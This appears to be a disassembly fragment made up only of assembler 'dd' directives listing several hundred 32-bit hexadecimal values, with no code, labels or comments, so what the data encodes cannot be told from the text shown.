dd 72C74BD7h, 3872B677h, 0FEA7DBE9h, 0D216EAF3h, 756547ABh
dd 29DBFBC6h, 89A4E626h, 5C664201h, 7FE62905h, 0A53B9B59h
dd 0B8D5C023h, 0C370091h, 32D351Ch, 0E0BF2C19h, 4B38E9A8h
dd 93CFA84Dh, 178B9838h, 0C052455Dh, 6B5A59FFh, 4911DF86h
dd 46E80F7Bh, 41272492h, 0B496D520h, 60116A02h, 5795D5E9h
dd 67130EF2h, 0CA002771h, 22604282h, 9FE9701h, 0B7495569h
dd 19E72AF4h, 102D257Bh, 0C0B725Bh, 0B73A7D5Bh, 16B0B67Fh
dd 0BBFEF7DCh, 0EB7CFB28h, 0FC019155h, 3D776851h, 52068163h
dd 0CD4AE7E9h, 920CC102h, 0E0213BEBh, 0C34741E4h, 7B37C21Bh
dd 164142E2h, 0E016048Eh, 0E9FD2B33h, 8680E4A5h, 0B83CF81h
dd 0FDB81651h, 0CC77EF07h, 467C13Eh, 32461EFFh, 90C0C6Fh
dd 0F3B6CEC6h, 5AB0CE2Ah, 3E8D1641h, 0C4BBCCD5h, 0A92ED931h
dd 0E904690Dh, 0B2BE7CCFh, 3499F25h, 9D661662h, 85367794h
dd 978C433Dh, 7F6EB27Fh, 0F6A5A0F9h, 8D4BE2DFh, 1070B8DDh
dd 7FCD9D70h, 0E81FE909h, 12C5F2EDh, 0A86C0346h, 0F7067980h
dd 4B2E4D31h, 0B8CF9882h, 4B5C7EC4h, 51C5FAEBh, 0A2AA9E12h
dd 5F3FCB0Bh, 59D71A09h, 0BA5D4993h, 93808035h, 0A072134Ch
dd 981AF0EFh, 89455849h, 0A30BC50Eh, 940AFF92h, 466CFE68h
dd 0F2D8B758h, 2D7D0586h, 23657E02h, 7D573AE9h, 7CECDC71h
dd 334B00D8h, 4FE70D4Dh, 0E9272D60h, 5B5F8458h, 521F0D8Bh
dd 0B35301B2h, 0D8DA0873h, 200EAC0h, 0B450D2F6h, 2C480A0h
dd 58E228DEh, 1D5FD388h, 0F38080D6h, 0E065E97Ch, 4BBC79B7h
dd 64B5A144h, 0FE554BBDh, 0EB82A274h, 569169EFh, 0B1A22247h
dd 0D993E9E4h, 0D4CE8661h, 5374E9E8h, 20DD62Fh, 87529F96h
dd 94EB7A61h, 599AD4Ch, 1D6135DCh, 0D0F787D0h, 57810005h
dd 0BE561540h, 0D42C3B79h, 1A07916Dh, 449D0369h, 0BD92017Ah
dd 20603BF8h, 829AF5B1h, 0B4447FFBh, 290465E1h, 2399FED3h
dd 0E9C5CC79h, 326AC05h, 7A3CF0BFh, 0A8AAD12Ah, 9FAD6B34h
dd 389E4168h, 83D3CF1h, 0BFEDD81h, 42505EF0h, 4AC7BD22h
dd 1B87AEC5h, 3A99D7E9h, 8B913C66h, 50A7892h, 8516D5BBh
dd 40E2E131h, 2EA6758Dh, 0C8B1895Bh, 8F59E2D2h, 0EC39656Ah
dd 0CAEBCB06h, 96E35081h, 154D10FAh, 1C187D51h, 2D0C52D5h
dd 1F913E7Eh, 490CF61Ch, 9CFD1011h, 0FE92D43h, 5C5F74D8h
dd 0FB1334BFh, 0D14974CBh, 0B7F20212h, 0C85C274Ah, 9F10CFAFh
dd 34BFB8E4h, 0E6A4202Ch, 5197C0BDh, 0B2DC27D1h, 622567D4h
dd 50F20461h, 0DE5917A0h, 0F0D44997h, 5D7266DCh, 19A63A47h
dd 3716A216h, 400CCBFAh, 31B55E8Dh, 2442021Eh, 29F65DEBh
dd 0CAF48325h, 5D4A2DD5h, 16A3B42Ah, 784CF265h, 22E8E527h
dd 7D0B63BFh, 0D5AFD07Bh, 0E2E96530h, 2000FE94h, 0F5805BDDh
dd 4EEBE618h, 59A197C4h, 0FB25BD8Fh, 9EFCA9FEh, 860847A9h
dd 0C6290B71h, 3B283218h, 0BD6A7D82h, 4B2CF2F5h, 5B2703B5h
dd 0C185912Ch, 0C912BBh, 3D5AD520h, 7816DDF6h, 0A18FECF4h
dd 743A69D8h, 0D6B7E8BBh, 0A0704BA1h, 5802EDBBh, 0E7D10DC0h
dd 0D36CABB8h, 9FC2E26Ah, 8B3547CCh, 16BE1CF1h, 0EA6DA406h
dd 0A7CDDE5Eh, 17F3AC6Eh, 7E326A41h, 2436056h, 7EEE163Ch
dd 36464B4Fh, 0E05FC8C2h, 801FC2B7h, 1A24EEBBh, 0E3000C64h
dd 506758CEh, 0ECEB60D1h, 6012155h, 8FB6C097h, 0E7008232h
dd 3ECE349Ah, 0D0ECABDh, 0EE3A9B08h, 0C358DB59h, 51C5E82Fh
dd 6E2EF938h, 5CC0055Dh, 29BF88D5h, 796CBDEh, 3388A9F1h
dd 77D8270Eh, 6C752D00h, 0C529E55Fh, 0E95B1658h, 5AFDB82Fh
dd 2F68A08Ch, 355C25A2h, 2DEE5763h, 8AFFEF73h, 1D044405h
dd 2AF1F4Ah, 0FEF001BBh, 5C7691F7h, 5E072C6Ch, 921C6F09h
dd 0D9D5CC37h, 815C666Fh, 39E3BB0Ah, 0BE84A7F0h, 0C0EEC678h
dd 0C72E7249h, 67A3EA50h, 78C58080h, 0F82924A7h, 7C29203h
dd 0B313C47Ch, 2719F5A6h, 7106AFC3h, 0BE3C22ECh, 5F48E26h
dd 4D9CAE17h, 0FB3C4A46h, 21912464h, 0D7EE8168h, 0E527606Ch
dd 0CA931B26h, 138D71D8h, 68DF2030h, 8B9FEC0h, 64EA843Bh
dd 99D94725h, 12C4B06Fh, 0E13B3B41h, 0EEF02E77h, 40729D5Bh
dd 9112ED07h, 21DD2179h, 419C2530h, 0B7C403F0h, 0E49DBFF5h
dd 0C2C1BC2Eh, 0F93861E9h, 4855E980h, 9714E9E4h, 19F5BE20h
dd 2F134C5Ah, 3BB8EE21h, 581BB506h, 0F1069604h, 2948B787h
dd 3057B1Eh, 0E911B269h, 0FA4EF9FBh, 31E4EB4Fh, 4F0EF103h
dd 0E1B02515h, 0E82D3CB5h, 7FD7C02Fh, 2A9F3114h, 284F10Eh
dd 0DAE74A2Bh, 0F52616F1h, 0A288AEFEh, 301F5AA3h, 0BE27DA79h
dd 0DEE9120Ch, 0A02176AAh, 0B7D31DD2h, 77E9DB71h, 505B89C4h
dd 2A7569BEh, 2D212BBAh, 0EA0EC00Ch, 0C320B7E2h, 5EC219F8h
dd 13216B80h, 12470BECh, 6D90FE6Bh, 483331FBh, 6000BA2Fh
dd 0E94F0F57h, 8E9AC190h
dd 7D5DE825h, 144EF494h, 7F8F8CFAh, 89317459h, 57BBC15Eh
dd 402E2B2Eh, 2A13EBC6h, 82122BC4h, 0E05B940h, 0BD5A2667h
dd 781C1F0h, 29EB2B5Fh, 0F26004Ch, 0C0B5C8AFh, 0DDBEE0B0h
dd 0F568C04Ah, 59226F45h, 2B6009Fh, 4B2103E8h, 4F20C0F1h
dd 3E165769h, 2EC9DE9h, 0D428BA4Fh, 0C26C96B9h, 5E07D4FFh
dd 24D509EEh, 0FFEC2C3Ah, 0A30EC093h, 0D60415Eh, 4F0B91B2h
dd 6F30E52Dh, 37043F14h, 253B0924h, 0A962E810h, 0E93E6AFAh
dd 0DBFEA72Bh, 73BB88EDh, 62BA5200h, 3141A1Bh, 3F9BE281h
dd 0EAB04E75h, 0A276CD7h, 189E7836h, 0C271817h, 14EA4CF0h
dd 5B56E8BDh, 2C52D0Ah, 27B98E76h, 124367D0h, 0D7D6EB56h
dd 5FB6077Ah, 0C4420306h, 0B8E1E081h, 9EBA40Bh, 3A065401h
dd 18BCDA2Eh, 61BEC6C5h, 34856B1Eh, 6829FC89h, 2F26D2D3h
dd 430B3AB7h, 0F3255544h, 0C6C550Ch, 0C6255BB0h, 0BFFA73FEh
dd 5C65E2B0h, 3A7A4534h, 0E9F03120h, 0EF02FF2Ch, 0D57B160Ch
dd 565FEA60h, 6A7DFFA2h, 977C70F9h, 2D4FBEF0h, 6B5809BDh
dd 0D121A727h, 7ADE01C3h, 310E1EB8h, 4D758C1h, 0A05692h
dd 0FC9E3D2Dh, 5101674Bh, 1907F7D6h, 366147Fh, 7A5A80CDh
dd 0E5E84566h, 48324E9Ah, 2B32FA6Bh, 6D69BBC0h, 0FC9E967Eh
dd 0D2827569h, 929A02A5h, 44713A7Dh, 7275FB4h, 74CD8921h
dd 0E0C9E11Bh, 0CDFF3C77h, 6CFD6FB5h, 8B2080A5h, 65D185Eh
dd 8A27228h, 0AEC2357h, 745768Eh, 72192D65h, 0B558C253h
dd 0BB6053FEh, 4F9D448Eh, 2CFEA926h, 0A1082BC8h, 0E2D00072h
dd 0FE96CA80h, 0DCF2D4E7h, 0D54B09FEh, 0B9D2EED1h, 585C8B07h
dd 4FAB30Bh, 5609FB39h, 525A0744h, 2D33C2Ch, 68751955h
dd 0CAC46BDBh, 955ACF40h, 0D1A72AE7h, 1C876229h, 7CBA102h
dd 0BC43655Dh, 13680CF7h, 40D45F30h, 0C109BAEDh, 0D5624945h
dd 84F2B520h, 46C4A2E0h, 0E0C84BE5h, 22260BD1h, 0C0564F0Ch
dd 0D58AB6C8h, 608761Eh, 0FEF71E93h, 565002ADh, 0CB88769Dh
dd 3A2226C1h, 0DBAACA17h, 0AFA24B4Bh, 0F431BB5Bh, 0D6423A6h
dd 0BC5E5EF2h, 20E9F0F7h, 0FE29CE7Dh, 0A1F3F8E6h, 5F91D665h
dd 0DE040EE8h, 0AE8925EAh, 0E912BEADh, 0E05AFF70h, 0F006F4B2h
dd 85BD83E9h, 5C523334h, 5304C1BAh, 9B346A07h, 2543BCBFh
dd 257BE55Dh, 11A32DDh, 722F9EC1h, 980CE470h, 145D9F38h
dd 0EF96FC4Ch, 2D444FAh, 0CD023FBFh, 0EA5F2D5Ch, 54CDC28Ch
dd 0C1450442h, 208FFCEDh, 2959067Fh, 6808247Ch, 0FBD1A74Bh
dd 5AE417EBh, 4C6E803Bh, 8368762Eh, 262EA207h, 61DD0122h
dd 0D7CCC1C2h, 0A04A5B61h, 0C7C0FF8h, 13123740h, 478A370h
dd 9079E9EDh, 344DBA4Ch, 24C14A7Ch, 2E457571h, 0DB05AA2Fh
dd 0E3C276C2h, 0B2237F29h, 13A9FB2Bh, 7EE90089h, 0E3FF4A56h
dd 87BF127Dh, 0BE68F130h, 0A594B118h, 0B77E4C57h, 0AFA27CC7h
dd 0C2FE719Dh, 2949F854h, 0AB4DCFBh, 0E31E42B1h, 66375A8Fh
dd 6F24911Ch, 0D028A654h, 2E9D0C31h, 0B9B2BB00h, 7C923325h
dd 7BAD3E04h, 6BC4E462h, 43B4501Fh, 19517A0Ch, 0D7F7C901h
dd 6E974370h, 2F7190D7h, 7820B9AFh, 199F41B7h, 0C9D8F72Eh
dd 0D450E010h, 551669C3h, 9E9E68E6h, 0ADBC7F25h, 75623295h
dd 985A15F4h, 2A685681h, 549E1EC6h, 12B98CFFh, 0BF1D2CF3h
dd 8FB83C17h, 6342A004h, 4829C739h, 0BA449A3Ah, 0F5ED8BEAh
dd 0CD74C02Fh, 8E70A845h, 0C4A65E68h, 67A7EA5Fh, 17A03396h
dd 8F845B4Ah, 52FA5194h, 0B0A1EE99h, 693EEA00h, 421138DDh
dd 797951DCh, 29A01027h, 0E3C510D6h, 0D517EF4Fh, 0C03C6FEh
dd 250FF6BFh, 0D8FF1162h, 52E91B1Fh, 70253597h, 0D236DAEEh
dd 942E90Ch, 0FFECFBE9h, 0CADF3B98h, 3323909Fh, 17C0300Bh
dd 1075310Ch, 0A3B85D00h, 1F44C15h, 9EE298F0h, 14FD250Ah
dd 8392C279h, 0DEC1E517h, 79F540DDh, 6AB71AE8h, 50496160h
dd 0B185EC2Ah, 933B5AD0h, 66BE7AF1h, 0A1F48013h, 5B1AD7F8h
dd 0B57E3B9h, 79AC555Ch, 6A13AD0Ch, 60AE71E3h, 3BE2685Fh
dd 2DD1C2E1h, 464FC340h, 0A03541FBh, 0E9980844h, 0D727B894h
dd 798B6747h, 0C5B91B63h, 62AEF1AAh, 65BB1716h, 0F92A09C9h
dd 3A2DE0DCh, 7422274Dh, 7200F5Ch, 6CE939C4h, 0C0007FB8h
dd 0F58008E5h, 0EA4A88F7h, 0B4306128h, 41941320h, 0A81BD185h
dd 0BF6FE849h, 0DFF7FE4Ah, 109B5E3Eh, 52B81AFDh, 0D8B5DE88h
dd 5EF1B5D7h, 5825FE48h, 6059B529h, 4AD76878h, 25D6E337h
dd 226D7253h, 8AD34E78h, 0AAFD4817h, 174C984Ch, 978A910h
dd 0C1E1850Fh, 28355237h, 6A963080h, 0EFC163F2h, 2060860h
dd 180DF781h, 0C359A24h, 8250D893h, 6CB7FDF2h, 0D9E91294h
dd 0B80A9D84h, 0C2488158h, 0C6E9517Dh, 0DE3B2B29h, 69603FAFh
dd 8009C328h, 450C8EBh, 0F5FB0F17h, 82F171F9h, 2170BB48h
dd 6AB2D859h, 2ED00FBEh, 86C56872h, 6BD985E9h, 275E8CA8h
dd 0AD78A83Eh, 0F6688909h, 681274DEh, 98C6631h, 9B631C88h
dd 98C400Dh, 0E8C11E6Bh, 5D350509h, 0E9FB82DBh, 284A7EDEh
dd 0B55E50F4h, 31A20FBDh, 47EE222Fh, 59053B3h, 89140D09h
dd 0F4E97FE5h, 0ACC13C2Ch, 0E955D040h, 654D4327h, 250720A6h
dd 3F591868h, 0E9545082h, 1DED7C99h, 980497C1h, 8025716h
dd 0C7687C9Dh, 11DAF1Fh, 594020Ah, 909B758h, 37A4E9FDh
dd 183C39D1h, 0E061D70Ah, 65B2B506h, 175780E0h, 0BB3A5F81h
dd 2E10A566h, 899326E9h, 9F80D0F7h, 3C144C9Fh, 5302DEF0h
dd 157408BBh, 4F63D86Eh, 3919A1FFh, 0EAE9B38Dh, 4F18548Ch
dd 0EE980F04h, 0EC5AFD8Eh, 8EF910D8h, 0F8EB6812h, 0FE88C169h
dd 0F4D15051h, 16E6F120h, 0E3A7F1E9h, 23284AE7h, 6459D54h
dd 8AC7E905h, 4111FC27h, 0F93B3CD9h, 0E4EF9267h, 715EE9F2h
dd 6BC20DC4h, 0BDD6F872h, 7C7714CEh, 0F602B79Ah, 5D715474h
dd 58E47546h, 0F4EA38A0h, 0EFFFF697h, 0F9340E85h, 0C6AC5FEAh
dd 298A0F04h, 0DC86EF41h, 5784203Ch, 44EE3F2h, 87067FFDh
dd 0C460140h, 0C312DE09h, 44047F39h, 0C2E49289h, 1FCD4840h
dd 922DA593h, 6804B9ADh, 8C2E70FDh, 0E3209223h, 3E4EA1FEh
dd 0BE6DD43Bh, 5350F481h, 0C942EFD1h, 92CE88FEh, 5F3D210Ch
dd 0F52B0FBh, 4E973EB2h, 1A8814A6h, 7CC4748h, 75226F2Ah
dd 0B507C2h, 34DC281h, 0C693130h, 5B1F784Bh, 632E501h
dd 14810C08h, 31BA2B5Bh, 0C2239175h, 58A951FDh, 0D395CC74h
dd 13F7193Bh, 4CDFFE29h, 7CCD4CBCh, 3F92F04Eh, 1C1F7019h
dd 7CE83EEh, 44E66396h, 0C4FB0C4Bh, 8449E9C6h, 3105BEC8h
dd 2AF289F0h, 0BAB4A7BCh, 0FBD71DF8h, 1C249A2Dh, 0B010189Bh
dd 45FC944Bh, 755AD525h, 70CDDD40h, 2B965F1Bh, 356CF00Ch
dd 0BC5F813h, 0B153A721h, 0D6A049F3h, 17862648h, 0DB502927h
dd 0A4573308h, 0C54BEB16h, 0C77E41BEh, 24C003E9h, 59BFF15Fh
dd 290D01D7h, 2B69C75Eh, 2600D313h, 717C5F25h, 0E9F81F09h
dd 0E6526DD4h, 81430703h, 0AC739DE3h, 4092BE8h, 0A202CC5Bh
dd 65F1E256h, 0F754C4CFh, 3A3E28BEh, 0BFCA8497h, 7A67FCBEh
dd 5742CA25h, 0AD90D614h, 0F81EDD95h, 4CE9D680h, 86476BF5h
dd 0F693E2D1h, 26124540h, 0F5F575E8h, 2E38EA3Eh, 13394EE9h
dd 78B1E1B9h, 4C46E57Fh, 4C0B455h, 88B2B353h, 0C04ED9D9h
dd 595E66CAh, 989150EAh, 9F437514h, 5DCDB40h, 0E90E9D2Dh
dd 0D2FE89E2h, 16BED0C1h
dd 0CD112069h, 97AF1495h, 4A02CAA2h, 6ECB5DD4h, 0A0E91A86h
dd 2FF86E1h, 17A32h, 148BF708h, 504ED9B7h, 331EB050h, 209D642Ch
dd 0C8FEF307h, 0C7284480h, 4D50B858h, 0F95B441Ch, 4ED84F9Eh
dd 0D97E1205h, 62FC074h, 4190F92Eh, 12E9C30Bh, 6F3CFCFDh
dd 9783BE25h, 3444A432h, 0FBC476B9h, 0F280023Bh, 0D8587D4Ch
dd 7988AE2Dh, 0B9F88B15h, 5DA7E6D6h, 0C320639Fh, 3802AD98h
dd 0E9561340h, 7736C2F0h, 9D20481Ch, 5B5D28A3h, 839477EDh
dd 6B75AF17h, 0E8973FFDh, 8B382713h, 8BCDD1B1h, 85DC1D39h
dd 94EEC850h, 0CF594314h, 32AE0E5Fh, 4233C06h, 0CBF64EB3h
dd 1C680240h, 0E0476344h, 3BFE82EFh, 81589F70h, 13BC5116h
dd 347B152h, 96F25F08h, 0DE9F8D5Ah, 0B1B5925Eh, 28ED2B1Eh
dd 0C62FB1D0h, 878B16F5h, 0A1D0089Eh, 42C78007h, 802FEF33h
dd 16B450CFh, 0F061E9A5h, 48F22DDDh, 566BC625h, 0C4072056h
dd 4EDD5A2h, 0FCC3028Fh, 7A9C50B2h, 0BC205FF6h, 0B597816Eh
dd 0FA70726Fh, 68578069h, 654BF00h, 0F7815F20h, 10F81287h
dd 7A14D1F0h, 0F2A18E4Ah, 64E26CB4h, 3004BD39h, 0C689E05Ah
dd 121B7C9Fh, 0D653215Fh, 6FE8051Bh, 1A060A05h, 1261BD0Ch
dd 0F6E6BF47h, 5C06BD4Ch, 781BD479h, 9A285E41h, 869F02Ch
dd 0D120C96Bh, 0DAAC5297h, 6A5FEC6Fh, 0EE7E5733h, 49FDE978h
dd 4D79B19Ch, 8ADE2026h, 9CCB0C5Dh, 8776A04Ch, 58048490h
dd 3126373Ah, 3EF079C9h, 99FE4BDDh, 0C64624Dh, 46206B77h
dd 730D628Fh, 302C72F9h, 0C4CF5F88h, 12FFB976h, 99DDAF47h
dd 431F7C82h, 216019DBh, 6C04E087h, 5BDE21C8h, 0F68490FEh
dd 809810C2h, 0AE0F2298h, 87751D30h, 4AC063CFh, 547EE91Eh
dd 6BB57F3h, 5DA56CF1h, 4600344Bh, 81129962h, 256B26E7h
dd 0FA8B70E4h, 0C11D6A7Dh, 0C06D0CF4h, 0B36F0D04h, 961A8049h
dd 0CF10EB61h, 812FB29h, 5002B2B4h, 7CC5BC72h, 0A2EF5450h
dd 0F09C899Ah, 76BE04B9h, 0C1456608h, 5090F8ADh, 22E0C988h
dd 7C6C1C3Bh, 0E1984E0Bh, 99817F1Fh, 3E4C232Dh, 0D85027A2h
dd 209D95B7h, 0EF2F125h, 0B4F3EFF0h, 42F29781h, 5D9BFEF4h
dd 0F6376809h, 2BBDC017h, 0FDD33178h, 0B2850EFh, 0DF39BE4Bh
dd 521BF720h, 0B92F835h, 90D157FDh, 0C3C5997h, 0D95D8283h
dd 20776BCDh, 233E45CFh, 209E907Ch, 0EB81A5DCh, 35593006h
dd 782828FEh, 1831C2D1h, 8ED215Fh, 0F500D672h, 530647DAh
dd 40BCDDF7h, 0F608A689h, 0D8F27356h, 3FA98D6Bh, 380AA7B0h
dd 828D850Dh, 0DE5D4055h, 0A41083EDh, 4204FA3Dh, 8C148F68h
dd 62FE55D0h, 5AB5D759h, 4BBE12C4h, 53725A85h, 13476C20h
dd 0BD7F75Fh, 6EEA5653h, 0CD93B5C3h, 895EA3DAh, 41717325h
dd 0A788F2E9h, 96FF425h, 0FC1069DEh, 6F920762h, 578D8B97h
dd 15522A5h, 84400BABh, 98C03B41h, 0A56713E9h, 265A14F3h
dd 1F969051h, 3387AAC1h, 27FA8BBEh, 6A44C562h, 0EDA100EAh
dd 3EE4AC55h, 903E927h, 7E77747h, 0BD4C712Fh, 0F07E4CADh
dd 80F7DE62h, 7842C12Fh, 9FA9F0Dh, 0AD048004h, 7DA8452Dh
dd 0CA6EBAB0h, 41E9790Ch, 3EE745F2h, 1EB06FA7h, 0C2D648Ch
dd 0CA893727h, 0EE238076h, 502F6987h, 16F99103h, 0FFF24652h
dd 0DB76715h, 0A6809BE9h, 0E0C14740h, 82D0403h, 0BE16316Dh
dd 801A7626h, 0CBDC07D0h, 10CA5C80h, 8C225C5Fh, 681DAF03h
dd 0D71CDD24h, 0FDA1E269h, 15905ED8h, 0D9450C41h, 4B55B1EEh
dd 9E680B6Ah, 0B7459127h, 8474A014h, 3F4890E0h, 0C5830A8Fh
dd 0A000D401h, 0E9408A6Fh, 46D24EEFh, 6FB7DBB3h, 697AB3F6h
dd 0FA899315h, 25BBD739h, 62848084h, 384AE8E4h, 0D0C8DA62h
dd 3B779719h, 0C3F5F1BCh, 4030B835h, 0DADC8211h, 9336F601h
dd 4468E220h, 0C128EF5Bh, 7CB7AA9Dh, 876F127Ah, 0FAF005C5h
dd 0ED83843Ch, 5C882C3Fh, 0A368660Eh, 0BAA79B5Ah, 50FC7773h
dd 0A1EAD065h, 9465D6B7h, 52960DAEh, 2F77BBE3h, 620B1EE9h
dd 0D1E6C8DDh, 1FC71F65h, 0B9B9D692h, 13FB4E36h, 0C2ECFD55h
dd 0FC5497E9h, 232A4EEh, 6C9B30DBh, 75A88F5h, 4FE93530h
dd 0EDDFA871h, 4F60785Ah, 4F1C875Dh, 8EADC9E6h, 0C50807Fh
dd 0CB41F3C2h, 0C242C3ADh, 0B5174E7Fh, 27E90290h, 0B107E258h
dd 537355EFh, 918EE916h, 0D7B0843h, 4FD1A86Eh, 3E17BBA3h
dd 0F82889B9h, 26AB02B3h, 2B50B4C0h, 2E8B1228h, 9808F40h
dd 0DAF617EAh, 16BAC984h, 700E05EEh, 0BBE51622h, 601A9288h
dd 0A9BF2350h, 48007075h, 19A580BAh, 90FA0112h, 0B41C4A48h
dd 774A53C1h, 0EAD64AA9h, 0BC117F39h, 0EB10C093h, 0A52F11FCh
dd 123B5C63h, 7B5DE155h, 0F1B71BFCh, 0D4580568h, 0D0905D79h
dd 4714D4Ch, 0EBA6BABh, 0F2C27FC7h, 9BCA5FADh, 171B02D5h
dd 88E2F9B2h, 0AE2135B0h, 7B353DA6h, 7CE880BEh, 86A06D86h
dd 1097A791h, 1525779h, 8A19F5BAh, 2FA1686Eh, 0DE007AB6h
dd 0E9A0F9F6h, 75C51AC3h, 0A3EF5BD9h, 941725FEh, 7BC897E3h
dd 5D82EBA8h, 291E3A51h, 0FDF6A5h, 116CBE56h, 0FD904CEDh
dd 6674C109h, 0BBC88040h, 0F8581D63h, 267B04C6h, 0EF21A3A4h
dd 75E50980h, 0FE66FE73h, 18503DCDh, 77C2B24h, 62913870h
dd 97798E9h, 8FDB5770h, 14C0774Bh, 717B76EDh, 1EA0BF04h
dd 84EF0C1Ah, 0C1AEC735h, 712ABA42h, 8C6A06Ch, 0C660E7FAh
dd 276AC563h, 0C7A6090h, 9EB8C06Eh, 0C344E8D8h, 0AEFF1322h
dd 3A08A1E2h, 81AB1C17h, 2F1E2965h, 0F547AD49h, 64C2C031h
dd 0C7580184h, 0BBF4B5Eh, 8F5E58EDh, 20062CE4h, 0C70493E8h
dd 15DD559Dh, 0EFCA0ABFh, 252E2008h, 90555632h, 81395D27h
dd 25573B01h, 0EE2E84BAh, 0B7EAF09Ch, 202924C9h, 0FCB4CF9Eh
dd 4A053327h, 45948E58h, 2ABA2EBCh, 66B255F6h, 0E34F7869h
dd 25CD9EAAh, 0BFE050BFh, 5F5A66F4h, 51E51579h, 2853C0FFh
dd 0FE508BE9h, 350548A5h, 7545C323h, 52CC86EEh, 6F427A9Fh
dd 0E9255229h, 8093D58Ch, 0F64AD14Dh, 4E170A48h, 4A2944F4h
dd 0C526A2D8h, 0B6EED691h, 0BA8F60B6h, 77A3A0h, 4FA2DEDh
dd 0D0295CD5h, 6E070551h, 0DF21B232h, 0B8F593E0h, 94B4012h
dd 6A802D12h, 27A5C180h, 9455CB28h, 0E8682553h, 0C14793FFh
dd 7FC228D8h, 0FA6228F1h, 0EE7A72C2h, 3FC89A10h, 5E13D821h
dd 56B449FDh, 4842F583h, 9CEA37D3h, 0F881916Ah, 305C4D91h
dd 4C40CE46h, 8995A05Dh, 74072F22h, 12936BE1h, 0A61140C1h
dd 0E67B5E49h, 0ECDC5135h, 713F0264h, 4FC24FE9h, 0B9645D31h
dd 0B416BC4Fh, 32CAE901h, 6DEC453Fh, 69EEBD83h, 0AC4FE290h
dd 0E5964349h, 160194CDh, 0BC4A9738h, 74EFD305h, 0B5BBF050h
dd 2E29F94Bh, 0C055EAA7h, 0F98DE9AFh, 68F97782h, 0BF7E388Ah
dd 51A9DC62h, 16AA8D8Bh, 828B2EE5h, 0FA9680Ah, 0A76A559h
dd 0BBCE421h, 0D2959E12h, 7EE91631h, 3F95D2B0h, 58407BD6h
dd 9551D5F7h, 0FD600A51h, 16E6DFFBh, 0EDAF96E9h, 28B3A61Ah
dd 2C31B227h, 8D888C9h, 5C2F503Ah, 1C2526E3h, 82238BA8h
dd 0E825BA40h, 2402A7B1h, 407D6534h, 27867EF9h, 4AD7B137h
dd 0DAFFC84Fh, 1520B5A6h, 2E441B18h, 0DECA8102h, 0E128E058h
dd 1D1E9BFh, 7F0057BCh, 6862FB51h, 58A456D7h, 8A83A5Eh
dd 0C680BD5Ah, 7AC8A92Bh, 0B5BD1F55h, 0ED838D15h, 4B043BFEh
dd 0EB00C271h, 45535536h, 32335203h, 8F6C642Eh, 56444101h
dd 0A64950CCh
dd 544E3F0Dh, 0AD54C38h, 3C0B011Eh, 9441A47Ah, 0DD002408h
dd 6059A1Eh, 0FE39589h, 9B8246C6h, 118B4215h, 81219CA1h
dd 909DAD08h, 9E0D8477h, 0FA446D48h, 66106322h, 1259899Fh
dd 3EA56026h, 21CA00ABh, 0B338DEA3h, 0A40048DDh, 17F84D03h
dd 74FE92h, 0F7FC9DC9h, 4B6C0C91h, 0E2B00500h, 4F268BD9h
dd 9B3A00AEh, 56920B1Fh, 0EE017109h, 8A9E585Eh, 12815711h
dd 6ABEF86Fh, 4F2380F1h, 0EEA71C98h, 0E2AD1725h, 3634003Ch
dd 9EAAC453h, 1209C800h, 0BC594675h, 5E50086h, 3DC256D4h
dd 28C03EABh, 0D6999FA9h, 0F0C707B5h, 60791236h, 0E98B9735h
dd 0DD88C000h, 9E7017C2h, 109F0015h, 682B4765h, 2A1DD287h
dd 0BEC0BD42h, 6D257A19h, 1FD90397h, 124CC565h, 0B0483Eh
dd 20097F4Fh, 74079538h, 1F91B050h, 400EC8E6h, 1174149Dh
dd 7B1DB39Bh, 0C540374Ch, 0E2B55816h, 50553C25h, 3BD8AD00h
dd 35B3D6B6h, 29CC510Ch, 73967Ch, 2BE88B16h, 0F6390A36h
dd 0BC5DFBF0h, 1DF72CF1h, 9B78CD07h, 9EF72C0h, 19EC16E0h
dd 89590075h, 278DC3E8h, 0CDA2F800h, 3DDDA024h, 41D400B8h
dd 0F75A0EB3h, 0C91D9F20h, 0C1D5EEA8h, 8D3F1EC0h, 0A2432A04h
dd 0CCB778C7h, 20088BA0h, 72240044h, 0A348D5B8h, 0ED00F069h
dd 994C770Eh, 1EE99423h, 4E9BAFCBh, 0F1490C75h, 73011300h
dd 4B001E4Eh, 0B45911FCh, 365C3E4h, 0E0B85A2Bh, 7D07CF48h
dd 29688D61h, 0A530B9C0h, 0C8A06DEh, 235DF652h, 5134A300h
dd 3BAE3EC3h, 4A281FBDh, 906440A1h, 931116A5h, 0D732B40Eh
dd 0EF450348h, 5A5BB89Fh, 0D50001Bh, 5D2DE0D6h, 0A5A81780h
dd 8FA8C9A8h, 0D573BB40h, 4705AE00h, 0F7951AF2h, 648D0062h
dd 7538260h, 1B014972h, 8FDDE2B6h, 3DEC583Ah, 20C501A8h
dd 0B59515ACh, 60AD851Ch, 0A55C13D0h, 0FB047C1h, 45609273h
dd 0FE45006Eh, 0EA6FBEEh, 0A70E9B7Ch, 68C4F0h, 55439785h
dd 6C62264Fh, 4C461310h, 2E4FAB1Bh, 0F26FB50Ah, 200BFF0h
dd 69064A6Bh, 0E6801F1Eh, 0C04E9F07h, 0DF7C94B4h, 77907511h
dd 0FEA15B00h, 7305A7E4h, 0E534508Bh, 0A850DF47h, 85583EB9h
dd 0FD6CC07Fh, 706EE743h, 9E710B00h, 0F297F1F6h, 0A80400D3h
dd 896C012Bh, 0CC774EAEh, 0D2E99901h, 0E4400547h, 0B1D9B07Fh
dd 48E3F4E7h, 571B0C00h, 0C5466C02h, 71B2002Eh, 0A9D493FBh
dd 0B50C6F0Bh, 0CE47FC95h, 8A033027h, 2063F60Dh, 810C3FFEh
dd 0CC621BA9h, 9EF20399h, 0D43640Bh, 0E1C817D3h, 0DD186D27h
dd 0B8B06C44h, 0B12A30FEh, 0CD580F0Fh, 30577700h, 906F08F4h
dd 0F05D7B3Dh, 0B0CE0055h, 0AC423FDDh, 0B5E04507h, 0BF6D777h
dd 19FC4100h, 0DFE4DD94h, 0F5E60ED5h, 0FD32F815h, 0C7E800F6h
dd 5A5F3C81h, 0B6A34836h, 0D0B43981h, 4154804Dh, 916634E3h
dd 647368h, 5E8FC01h, 8B1E7277h, 8D028890h, 0FD96B2F4h
dd 431F4054h, 3247B1h, 9E23F05Dh, 9263CEh, 13FE0391h, 0F9029479h
dd 71FAEF0Eh, 1AF8E33h, 0F0F3C81Ch, 36A580EEh, 175FC14h
dd 866D834Ah, 20D4889Dh, 7C1E1F2Fh, 35C06104h, 0D8C2BE46h
dd 507DBACEh, 0D56C405Bh, 7A399Dh, 0E4AF1894h, 1680A8C6h
